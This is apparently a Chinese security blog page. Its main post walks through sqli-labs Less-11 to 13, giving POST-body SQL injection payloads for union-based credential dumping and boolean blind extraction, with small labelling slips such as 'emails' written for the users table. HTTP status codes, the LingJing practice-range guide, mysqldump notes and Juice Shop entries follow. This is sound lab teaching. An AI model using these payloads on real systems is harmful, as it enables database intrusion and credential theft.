从这里难度继续提升，进入POST部分

寻找注入点

先随便输入一个账号密码
然后hackbar laod，获取POST传参

passwd=passwd
&submit=Submit
&uname=admin

然后分别在admin和passwd添加单引号
''passwd'' LIMIT 0,1' -- passwd'，闭合后面
'passwd' LIMIT 0,1' -- admin'闭合前面
 
可以构造查询语句
select ?
from ?
where ?user=?
and ?pass=?

user在前，直接在user位置注入，注释后面的内容

构造payload body
passwd=passwd
&submit=Submit
&uname=admin' --+

查询列数

passwd=passwd
&submit=Submit
&uname=admin' order by 1,2,3 --+

passwd=passwd
&submit=Submit
&uname=admin' order by 1,2 --+

输入一个不存在的用户，回显注入位置

passwd=passwd
&submit=Submit
&uname=-admin' union select 1,2 --+

回显
Your Login name:1  
Your Password:2

查询数据库

passwd=passwd
&submit=Submit
&uname=-admin' union select 1,database() --+

回显
Your Login name:1  
Your Password:security

查询表名

passwd=passwd
&submit=Submit
&uname=-admin' union 
select 1,group_concat(table_name) 
from information_schema.tables 
where table_schema='security' --+

回显
Your Login name:1  
Your Password:emails,referers,uagents,users

查询列

passwd=passwd
&submit=Submit
&uname=-admin' union 
select 1,group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='users' --+

回显
Your Login name:1  
Your Password:id,username,password

查询数据内容

passwd=passwd
&submit=Submit
&uname=-admin' union 
select 1,group_concat(username,':',password) from users --+

回显
Your Login name:1
Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

Less-12

POST - Error Based - Double quotes - String - with twist POST - 基于错误 - 双引号 - 字符串 - with twist

寻找注入点

用户名和密码分别添加单引号，没有回显
passwd=passwd
&submit=Submit
&uname=admin'

passwd=passwd
&submit=Submit
&uname=admin'

passwd=passwd'
&submit=Submit
&uname=admin'

用户名和密码再分别添加双引号
passwd=passwd'
&submit=Submit
&uname=admin'"
回显
'passwd'") LIMIT 0,1'

passwd=passwd'"
&submit=Submit
&uname=admin'
'"passwd'"") LIMIT 0,1'

分析
两次回显可以猜测用户名在前面，闭合为 ")

构造payload
passwd=passwd
&submit=Submit
&uname=admin") --+ 

后续和Less-11一样就行

Less-13

POST - Double Inject - Single quotes - String - with twist POST - 双重注入 - 单引号 - 字符串 - with twist

查找注入点

用户名和密码分别输入单引号
passwd=pass
&submit=Submit
&uname=admin'
回显
'pass') LIMIT 0,1'
分离单引号
pass')

passwd=pass'
&submit=Submit
&uname=admin
回显
''pass'') LIMIT 0,1'
分离单引号
pass')

user在前，闭合为')

查询注入回显位置

尝试输入
passwd=pass
&submit=Submit
&uname=admin') and 1=1 --+
结果：成功


passwd=pass
&submit=Submit
&uname=admin') and 1=2 --+
结果：失败

passwd=pass
&submit=Submit
&uname=1admin') or 1=1 --+
结果：成功

passwd=pass
&submit=Submit
&uname=1admin') or 1=2 --+
结果：失败

只有两种界面变化，可能需要进行盲注

正确回显

错误回显

猜测数据库长度

1
2
3

passwd=pass
&submit=Submit
&uname=admin') and length((select database()))=8 --+

猜测数据库名

盲注：security
passwd=pass
&submit=Submit
&uname=admin') and left((select database()),1)='s' --+

passwd=pass
&submit=Submit
&uname=admin') and left((select database()),2)='se' --+

passwd=pass
&submit=Submit
&uname=admin') and left((select database()),3)='sec' --+

passwd=pass
&submit=Submit
&uname=admin') and left((select database()),4)='secu' --+

passwd=pass
&submit=Submit
&uname=admin') and left((select database()),5)='secur' --+

passwd=pass
&submit=Submit
&uname=admin') and left((select database()),6)='securi' --+

passwd=pass
&submit=Submit
&uname=admin') and left((select database()),7)='securit' --+

passwd=pass
&submit=Submit
&uname=admin') and left((select database()),8)='security' --+

猜测有多少表

passwd=pass
&submit=Submit
&uname=admin') and 
(
  select count(table_name) 
  from information_schema.tables 
  where table_schema='security'
)=4 --+

猜测各表长度

第1个表长度 emails(6)
passwd=pass
&submit=Submit
&uname=admin') and 
length((
  select table_name
  from information_schema.tables 
  where table_schema='security'  limit 0,1
))=6 --+

第2个表长度 referers(8)
passwd=pass
&submit=Submit
&uname=admin') and 
length((
  select table_name
  from information_schema.tables 
  where table_schema='security'  limit 1,1
))=8 --+

第3个表长度 uagents(7)
passwd=pass
&submit=Submit
&uname=admin') and 
length((
  select table_name
  from information_schema.tables 
  where table_schema='security'  limit 2,1
))=7 --+

第4个表长度 users(4)
passwd=pass
&submit=Submit
&uname=admin') and 
length((
  select table_name
  from information_schema.tables 
  where table_schema='security'  limit 3,1
))=5 --+

猜测各表名

节约时间，直接第4个表

第4个表 emails
passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select table_name
  from information_schema.tables 
  where table_schema='security'  limit 3,1
),1,1)='u' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select table_name
  from information_schema.tables 
  where table_schema='security'  limit 3,1
),2,1)='s' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select table_name
  from information_schema.tables 
  where table_schema='security'  limit 3,1
),3,1)='e' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select table_name
  from information_schema.tables 
  where table_schema='security'  limit 3,1
),4,1)='r' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select table_name
  from information_schema.tables 
  where table_schema='security'  limit 3,1
),5,1)='s' --+

猜测表列数

passwd=pass
&submit=Submit
&uname=admin') and 
((
  select count(column_name)
  from information_schema.columns 
  where table_schema='security' and table_name = 'users'
))=3 --+

猜测每列长度

三列分别是：id(2),username(8),password(8)
passwd=pass
&submit=Submit
&uname=admin') and 
length((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 0,1
))=2 --+

passwd=pass
&submit=Submit
&uname=admin') and 
length((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 1,1
))=8 --+

passwd=pass
&submit=Submit
&uname=admin') and 
length((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 2,1
))=8 --+

猜测每列名称

第1列 id
passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 0,1
),1,1)='i' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 0,1
),2,1)='d' --+


第2列 username
passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 1,1
),1,1)='u' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 1,1
),2,1)='s' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 1,1
),3,1)='e' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 1,1
),4,1)='r' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 1,1
),5,1)='n' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 1,1
),6,1)='a' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 1,1
),7,1)='m' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 1,1
),8,1)='e' --+

第3列 password
passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 2,1
),1,1)='p' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 2,1
),2,1)='a' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 2,1
),3,1)='s' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 2,1
),4,1)='s' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 2,1
),5,1)='w' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 2,1
),6,1)='o' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 2,1
),7,1)='r' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select column_name
  from information_schema.columns 
  where table_schema='security' and table_name = 'users' limit 2,1
),8,1)='d' --+

猜测数据长度，以第一条为例

第1条 Dumb(4):Dumb(4)
passwd=pass
&submit=Submit
&uname=admin') and 
length((
  select username
  from users limit 0,1
))=4 --+

passwd=pass
&submit=Submit
&uname=admin') and 
length((
  select password
  from users limit 0,1
))=4 --+

猜测内容

注意：MySQL实际上不区分大小写

第1条 Dumb(4):Dumb(4)
passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select password
  from users limit 0,1
),1,1)='d' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select password
  from users limit 0,1
),2,1)='u' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select password
  from users limit 0,1
),3,1)='m' --+

passwd=pass
&submit=Submit
&uname=admin') and 
substr((
  select password
  from users limit 0,1
),4,1)='b' --+

未完

随(lan)缘(ai)更(fan)新(le)……

参考资料

sqli-labs通关详解: https://www.freebuf.com/articles/web/440191.html
【独家连载】mysql注入天书（一）Basic Challenges: https://xz.aliyun.com/news/371

HTTP 状态码

Sun, 16 Nov 2025 09:44:28 +0800

HTTP 状态码

分类

分类	分类描述
1**	信息，服务器收到请求，需要请求者继续执行操作
2**	成功，操作被成功接收并处理
3**	重定向，需要进一步的操作以完成请求
4**	客户端错误，请求包含语法错误或无法完成请求
5**	服务器错误，服务器在处理请求的过程中发生了错误

HTTP状态码列表

状态码	状态码英文名称	中文描述
100	Continue	继续。客户端应继续其请求
101	Switching Protocols	切换协议。服务器根据客户端的请求切换协议。只能切换到更高级的协议，例如，切换到HTTP的新版本协议

200	OK	请求成功。一般用于GET与POST请求
201	Created	已创建。成功请求并创建了新的资源
202	Accepted	已接受。已经接受请求，但未处理完成
203	Non-Authoritative Information	非授权信息。请求成功。但返回的meta信息不在原始的服务器，而是一个副本
204	No Content	无内容。服务器成功处理，但未返回内容。在未更新网页的情况下，可确保浏览器继续显示当前文档
205	Reset Content	重置内容。服务器处理成功，用户终端（例如：浏览器）应重置文档视图。可通过此返回码清除浏览器的表单域
206	Partial Content	部分内容。服务器成功处理了部分GET请求

300	Multiple Choices	多种选择。请求的资源可包括多个位置，相应可返回一个资源特征与地址的列表用于用户终端（例如：浏览器）选择
301	Moved Permanently	永久移动。请求的资源已被永久的移动到新URI，返回信息会包括新的URI，浏览器会自动定向到新URI。今后任何新的请求都应使用新的URI代替
302	Found	临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI
303	See Other	查看其它地址。与301类似。使用GET和POST请求查看
304	Not Modified	未修改。所请求的资源未修改，服务器返回此状态码时，不会返回任何资源。客户端通常会缓存访问过的资源，通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源
305	Use Proxy	使用代理。所请求的资源必须通过代理访问
306	Unused	已经被废弃的HTTP状态码
307	Temporary Redirect	临时重定向。与302类似。使用GET请求重定向

400	Bad Request	客户端请求的语法错误，服务器无法理解
401	Unauthorized	请求要求用户的身份认证
402	Payment Required	保留，将来使用
403	Forbidden	服务器理解请求客户端的请求，但是拒绝执行此请求
404	Not Found	服务器无法根据客户端的请求找到资源（网页）。通过此代码，网站设计人员可设置"您所请求的资源无法找到"的个性页面
405	Method Not Allowed	客户端请求中的方法被禁止
406	Not Acceptable	服务器无法根据客户端请求的内容特性完成请求
407	Proxy Authentication Required	请求要求代理的身份认证，与401类似，但请求者应当使用代理进行授权
408	Request Time-out	服务器等待客户端发送的请求时间过长，超时
409	Conflict	服务器完成客户端的 PUT 请求时可能返回此代码，服务器处理请求时发生了冲突
410	Gone	客户端请求的资源已经不存在。410不同于404，如果资源以前有现在被永久删除了可使用410代码，网站设计人员可通过301代码指定资源的新位置
411	Length Required	服务器无法处理客户端发送的不带Content-Length的请求信息
412	Precondition Failed	客户端请求信息的先决条件错误
413	Request Entity Too Large	由于请求的实体过大，服务器无法处理，因此拒绝请求。为防止客户端的连续请求，服务器可能会关闭连接。如果只是服务器暂时无法处理，则会包含一个Retry-After的响应信息
414	Request-URI Too Large	请求的URI过长（URI通常为网址），服务器无法处理
415	Unsupported Media Type	服务器无法处理请求附带的媒体格式
416	Requested range not satisfiable	客户端请求的范围无效
417	Expectation Failed（预期失败）	服务器无法满足请求头中 Expect 字段指定的预期行为。
418	I’m a teapot	状态码 418 实际上是一个愚人节玩笑。它在 RFC 2324 中定义，该 RFC 是一个关于超文本咖啡壶控制协议（HTCPCP）的笑话文件。在这个笑话中，418 状态码是作为一个玩笑加入到 HTTP 协议中的。

500	Internal Server Error	服务器内部错误，无法完成请求
501	Not Implemented	服务器不支持请求的功能，无法完成请求
502	Bad Gateway	作为网关或者代理工作的服务器尝试执行请求时，从远程服务器接收到了一个无效的响应
503	Service Unavailable	由于超载或系统维护，服务器暂时的无法处理客户端的请求。延时的长度可包含在服务器的Retry-After头信息中
504	Gateway Time-out	充当网关或代理的服务器，未及时从远端服务器获取请求
505	HTTP Version not supported	服务器不支持请求的HTTP协议的版本，无法完成处理

LingJing(灵境)靶场入门指南

Sun, 16 Nov 2025 05:13:49 +0800

LingJing(灵境)靶场入门指南

简介

LingJing 是一款专为复杂网络环境渗透测试量身打造的桌面级本地网络安全靶场平台。支持在线下载和 免配置一键部署 靶机环境，平台内置路由 管理、监控打靶流量，快速启动靶机，满足从入门学习到红蓝队攻防实战的训练需求。后续版本将更新内置 Attacker 机器，进一步完善渗透测试打靶训练的完整流程，显著提升用户的训练体验和效率。本平台基于 Go+Fyne 构建图形界面，底层采用 QEMU 虚拟化技术，支持跨架构靶机启动。并且 能在 Mac M 系列芯片设备上启动 AMD64 架构靶机 ，确保在不同硬件环境下无缝开展测试与训练。

LingJing 平台的靶场资源丰富多样，涵盖开源靶场靶机以及本平台后续上线的原创靶机。（正在尝试创新设计一种打靶模式：以 2D RTS 游戏风格实现互联网侧和近源渗透实景模拟，为用户带来全新的训练体验（如蒙支持，将为创作提供持续动力））。这些靶场资源覆盖广泛的安全技术方向，满足教育教学、专业培训与实战演练的需求，包括但不仅限于：

Web 安全测试：涵盖 SQL 注入（包括盲注、报错注入、联合查询）、跨站脚本（XSS）、文件上传漏洞、CSRF、命令执行、信息泄露等常见攻击面；
内网渗透与域环境攻击：支持多层网络与域控环境部署，适用于横向移动、权限提升、Kerberos 票据滥用、NTLM 中继、域信任攻击等高阶内网技术；
中间件与框架漏洞复现：包括 Apache、Nginx、Tomcat、Struts2、Spring 等主流组件的漏洞验证与环境搭建；
Java 应用安全：集成 Java Web 漏洞、反序列化链分析、安全编码误区等内容；
业务逻辑与客户端安全：适用于身份认证绕过、权限控制缺陷、弱加密机制等漏洞的演练和教学；
红队攻防与实战演练：支持多跳通信、端口转发、代理链、隧道技术等对抗场景的战术部署与验证。

平台特点：

高效部署：靶机环境可通过平台一键下载、免配置安装，实现高效部署，大大节省时间和精力。
秒级启动：单靶机启动时间在 5 至 30 秒（域环境——域成员和域控启动后需要时间建立通信，因此启动速度相对较慢），具体耗时与物理机性能密切相关。
严格网络控制：靶机通信由平台内部路由进行严格控制，禁止出网访问，保障网络环境的安全与稳定。
在线更新功能：平台具备在线更新功能，可及时同步最新版本，确保用户始终使用最新功能和安全修复。
轻量级镜像：镜像压缩体积更小，节省存储空间，便于快速下载和部署。
高速下载：靶机镜像采用云端分布式多节点部署，支持断点续传高速下载，进一步提升用户体验。

LingJing平台旨在提升跨架构兼容性、提供丰富的靶场资源以及灵活的配置能力，为网络安全学习者和从业者提供一个高效、真实的实战训练环境，助力每一位用户在网络安全领域快速成长。

注：因涉及用户本地与云端靶机镜像下载，为保障用户侧和服务端安全性，平台项目代码暂不开源。如有需求，平台相关技术的实现可在脱敏前提下进行讨论分享。

平台下载安装LingJing

平台已适的配物理机系统

MacOS (Arm64)：已兼容基于M1、M2 和 M4 芯片的 Mac 设备，M3芯片暂未测试。
Windows (AMD64)：支持 Windows 10 和 Windows 11 系统，为 Windows 用户提供了稳定的运行环境。Windows 7 不在支持范围内，服务器版本尚未进行测试。

下载安装

Mac

把app移动到应用程序内，在其他路径下运行可能会出错。

遇到【 “LingJing”已损坏，无法打开。你应该将它移到废纸篓。】报错时，执行以下令：

`1`	`sudo xattr -rd com.apple.quarantine /Applications/LingJing.app`

安装依赖：

`1`	`brew install capstone gnutls pixman jpeg-turbo snappy lzo dtc glib zstd libslirp vde ncurses libusb libssh libpng`

Windows

下载解压后将LingJing文件夹放置于合适的盘符位置即可（PS:避开中文目录，否则路由可能无法启动）。

初次安装需要管理员授权安装网卡。

这里第一次打开的时候建议使用管理员启动，否则安装网卡的时候可能会提示权限问题

网卡安装成功会弹出是否重启物理机对话框(若不重启，当联动外部虚拟机软件时，可能无法找到LingJing网卡)，重启后会看到一张名为LingJing的tap网卡，且路由状态为非红色(若网卡安装成功，但路由状态为红色，则需要尝试重启路由)。

功能介绍

从左上角开始，分别是首页、Attacker 攻击机（开发中）、靶机、灵眼（流量分析）

右上角则是平台相关的一些功能，分别是公告、运行中的靶机、下载、和一个未知的图标（可能在开发中）

首页

首页主要有更新检查、教程查看、和一个平台的拓扑示意图

更新功能

教程

Attacker（攻击机）

开发中……

靶机

下载前

下载后

左侧的侧栏有两个，第一个是靶场项目的名称，第二个是具体的靶场，比如 VulnStack 红日靶场系列，第一个靶场honri1。

右侧显示的是一个靶场的缩略图

缩略图的坐上角和右上角有一个按钮，左上角可以从外部导入靶场，在线下载缓慢时可以从百度网盘下载进行导入。

右上角的按钮时打开靶机文件所在的文件夹，如果没有下载靶场，文件夹里面是空的。

下载靶场后可以看到删除、停止、启动的按钮下方是靶机描述。

灵眼

灵眼是LingJing平台的一个流量模块，目前有全流量分析和安全态势(待更新)两个子模块目前只有全流浪分析功能可以使用

流量分析功能的过滤器可以对源IP、目的IP、端口、协议、状态码（TCP/IP状态码）、Paylaod（数据包）、起始时间、结束时间的过滤。

双击一条记录可以打开具体的数据包，可以看到可以看到具体内容，paylaod是正常看到的数据，hex(paylaod)和原始(payload)都有对应的16进制进行对照。

公告

这个模块目前显示的是平台的一些更新内容

运行

这个模块目前显示的是当前运行的靶场以及之前运行的一些记录定位功能可以将当前靶机界面定位到运行中的靶机

下载

这里显示下载中的靶机

参考来源

GitHub LingJing项目: https://github.com/414aaj/LingJing
微信 - LingJing（灵境）公测：新一代本地桌面级网络安全靶场平台，一键安装靶机，秒级启动: https://mp.weixin.qq.com/s/Gjy-I7YxpqkHm8wI1r7BSA

MySQL 数据库备份与恢复

Wed, 12 Nov 2025 13:10:09 +0800

MySQL 数据库备份与恢复

Mysql数据库冷备，使用 mysqldump 命令进行备份与恢复

备份

全库备份：

`1`	`mysqldump -u root -p --all-databases > all_databases_backup.sql`

备份单个数据库

`1`	`mysqldump -u root -p database_name > database_backup.sql`

备份特定表

`1`	`mysqldump -u root -p database_name table_name > table_backup.sql`

备份时增加压缩

`1`	`mysqldump -u root -p database_name \| gzip > database_backup.sql.gz`

恢复

恢复全库

`1`	`mysql -u root -p < all_databases_backup.sql`

恢复单个数据库

`1`	`mysql -u root -p database_name < database_backup.sql`

恢复特定表

先在数据库中创建目标表，然后执行：

`1`	`mysql -u root -p database_name < table_backup.sql`

恢复压缩的备份

`1`	`gunzip < database_backup.sql.gz \| mysql -u root -p database_name`

Mon, 01 Jan 0001 00:00:00 +0000

题目描述

使用 Bjoern的 Gmail 帐户登录而不更改他的密码，使用SQL 注入或骇入他的Google帐户。

提示

该挑战背后的安全漏洞是100％OWASP Juice Shop的问题和0％Google的问题。
要让记分板上这个挑战绿色亮起，只需成为Bjoern Kimminich即可。此时，只需使用您的谷歌账户登录，即可自动解决此挑战！恭喜！
你很可能不是Bjoern Kimminich，因此不妨详细研究一下Google的OAuth登录是如何实现的。
使用您自己的谷歌账户注册并仔细分析幕后发生的情况，或许能为您提供一些见解。

Posts on 御衡的笔记

2026-05-22

2026-05-22

2026-04-30 关于AI 辅助生成 blog

2026-04-30 关于AI 辅助生成 blog

2026-04-28

2026-04-28

笔记：不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表

📝笔记：不重启Linux 手动触发 SCSI 总线扫描，刷新 /dev 磁盘列表

核心原理

⚡ 操作步骤

💎 如果只需要刷新磁盘大小（分区不变）

📌 注意事项

参考

【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据

【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据

任务简报

实战

步骤1：触发订单追踪请求

步骤2：分析响应中的邮箱泄露

步骤3：构造相似邮箱

步骤4：注册并导出数据

参考

【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件

【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件

0x01 任务简报

0x02 实战：复现漏洞

步骤1：访问 FTP 目录

步骤2：使用 Null Byte 注入绕过访问限制

【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件

【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件

0x01 任务简报

0x02 实战：复现漏洞

步骤1：访问 FTP 目录

步骤2：使用 Null Byte 注入绕过访问限制

0x03 ……

【juice-shop】★★★★ Easter Egg && Nested Easter Egg：Null Byte 注入与多层加密解析

【juice-shop】★★★★ Easter Egg && Nested Easter Egg：Null Byte 注入与多层加密解析

Part 1 - Easter Egg

任务简报

实战：复现漏洞

步骤1：访问 FTP 目录

步骤2：使用 Null Byte 注入绕过访问限制

Part 2 - Nested Easter Egg

任务简报

实战：复现漏洞

步骤1：分析 eastere.gg 文件内容

步骤2：Base64 解码

步骤3：ROT13 解密

步骤4：访问真正的彩蛋

解密流程总结

关键操作说明

Base64 编码

ROT13 加密

参考资源

【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器

【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器

0x01 任务简报

0x02 前置知识

什么是 SSTi（Server-Side Template Injection）

常见模板引擎的注入语法

0x03 实战：复现漏洞

步骤1：发现 SSTi 注入点

步骤2：寻找 juicy malware

步骤3：构造命令执行 Payload

步骤4：提交 Payload

参考资源

【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据

【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据

任务简报

步骤1：发现注入点

步骤2：确定列数

步骤3：使用 SQLMap 获取数据库结构

步骤4：确定显示位置

步骤5：提取所有用户凭据

参考

【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠

【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠

0x01 任务简报

0x02 前置知识

📝笔记：不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表